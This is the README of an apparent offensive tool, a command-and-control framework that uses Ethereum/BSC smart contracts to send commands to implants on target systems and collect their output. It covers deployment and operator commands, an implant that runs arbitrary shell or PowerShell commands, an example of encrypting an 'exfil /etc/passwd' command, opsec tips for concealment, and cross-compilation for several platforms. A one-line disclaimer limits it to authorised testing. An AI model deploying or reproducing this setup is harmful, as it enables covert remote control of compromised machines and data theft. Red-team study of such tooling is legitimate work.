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C2 via Blockchain Smart Contract 🖤

A command-and-control framework that uses Ethereum/BSC smart contracts as the C2 channel. No dedicated server needed — just a blockchain RPC endpoint.

┌─────────────┐     ┌──────────────────┐     ┌─────────────┐
│  Operator    │────▶│  Smart Contract  │◀────│   Implant   │
│  (server)    │     │  (C2Controller)  │     │   (client)  │
│              │     │                  │     │             │
│  issues cmd  │     │  commands +      │     │  polls cmd  │
│  via tx      │     │  results stored  │     │  via RPC    │
│              │     │  on-chain        │     │  (free)     │
│              │     │                  │     │  executes   │
│              │     │                  │     │  submits    │
│              │     │                  │     │  result (tx)│
└─────────────┘     └──────────────────┘     └─────────────┘

Reads are free (no gas). Implants poll commands via eth_call — entirely free. Only writes (issuing commands, submitting results) consume gas.

Architecture

Smart Contract (`contracts/C2Controller.sol`)

Solidity ^0.8 contract using OpenZeppelin's Ownable:

issueCommand(implantID, command) — Issue a command to a specific implant
getCommand(implantID, commandID) — Read a command (free, view)
getActiveCommands(implantID) — List all pending command IDs (free)
getLatestCommand(implantID) — Get the most recent command (free)
submitResult(implantID, commandID, result) — Submit execution output
getResult(resultID) — Read a submitted result (free)
setOperator(address, bool) — Manage operator accounts (owner only)

Events: CommandIssued, ResultSubmitted, OperatorUpdated

Server (`cmd/server/main.go`)

Operator-side CLI tool. Commands:

Command	Description
`deploy`	Deploy the contract to any EVM chain
`exec`	Issue a command to an implant
`results`	Read submitted results
`add-op`	Add a new operator account
`watch`	Live-tail events from the contract

Client (`cmd/client/main.go`)

Implant that runs on the target system. Features:

Polls for commands via free RPC calls
Jittered polling (configurable interval + jitter)
Executes commands via shell (/bin/sh -c or powershell.exe)
Submits results to the blockchain
Tracks seen commands to avoid re-execution
Graceful shutdown on SIGINT/SIGTERM

Quick Start

Prerequisites

Go 1.26+
A free Infura or Alchemy account for RPC access
A wallet with testnet ETH (for writes)
Foundry (optional — for compiling Solidity)

1. Clone & Build

git clone ... c2-blockchain-contract
cd c2-blockchain-contract

# Build both binaries
make build-server
make build-client

# Or build individually
go build -o bin/server ./cmd/server/
go build -o bin/client ./cmd/client/

2. Deploy the Contract

See full walkthrough in DEPLOYMENT_WALKTHROUGH.md.

Short version:

# Compile with Foundry & export ABI/bytecode
forge build
forge inspect C2Controller abi > contracts/C2Controller.abi
forge inspect C2Controller bytecode > contracts/C2Controller.bin

# Embed the bytecode (update cmd/server/main.go)
# Then build and deploy
./bin/server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xYOUR_PRIVATE_KEY

Or use Remix IDE in a browser — no toolchain needed.

3. Run the Implant

export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT_ADDRESS
export PRIVATE_KEY=0xIMPLANT_WALLET_PRIVATE_KEY

./bin/client --interval 15 --jitter 5

4. Issue Commands

./bin/server exec \
  https://sepolia.infura.io/v3/YOUR_KEY \
  0xOPERATOR_KEY \
  0xCONTRACT_ADDRESS \
  $(echo -n implant-id | xxd -p -c 64) \
  "whoami"

5. Read Results

./bin/server results https://sepolia.infura.io/v3/YOUR_KEY 0xCONTRACT_ADDRESS --limit 10

Configuration

Environment Variables

Variable	Purpose	Example
`ETH_RPC_URL`	RPC endpoint	`https://sepolia.infura.io/v3/abc`
`CONTRACT_ADDR`	Deployed contract	`0x1234567890abcdef...`
`PRIVATE_KEY`	Wallet private key	`0xdeadbeefcafe...`

Client Flags

Flag	Default	Description
`--interval`	15s	Poll interval
`--jitter`	5s	Random jitter added to interval
`--rpc`	env	RPC URL override
`--contract`	env	Contract address override
`--key`	env	Private key override

OpSec Considerations

Everything on-chain is public. Commands and results are visible to anyone reading the contract. Encrypt payloads if secrecy is needed (e.g., base64 + XOR, or AEAD before submission).
Anyone can submit results for any command. The implant authenticates by having the wallet private key, but the contract doesn't enforce which address submits a result.
Implant ID is a hash of hostname|username|mac|arch. This is deterministic but not secret. An analyst can see which hosts are calling in.
Gas costs for result submission reveal the implant's wallet address. Consider using an ephemeral wallet per session.
The operator wallet has control. Use a dedicated wallet, not your main one.

Encryption (Recommended for Sensitive Ops)

Before calling issueCommand, encrypt your payload:

# Encrypt command
echo "exfil /etc/passwd" | openssl enc -aes-256-cbc -pass pass:sharedsecret -a

# Decrypt on implant (via shell pipeline)
# The implant sees the encrypted blob, pipes it through openssl

Cross-Compilation

# Linux amd64 (most common for C2 infrastructure)
make build-client-linux-amd64

# ARM64 (Raspberry Pi, cloud ARM instances)
make build-client-linux-arm64

# Windows
make build-client-windows-amd64

# macOS
make build-client-darwin-amd64

File Structure

c2-blockchain-contract/
├── contracts/
│   └── C2Controller.sol          # Solidity smart contract
├── cmd/
│   ├── server/
│   │   └── main.go               # Operator CLI tool
│   └── client/
│       └── main.go               # Implant binary
├── DEPLOYMENT_WALKTHROUGH.md     # End-to-end deployment guide
├── README.md                     # This file
├── Makefile                      # Build automation
└── go.mod                        # Go module definition

DISCLAIMER

For authorized Security Testing or Educational Purposes only.

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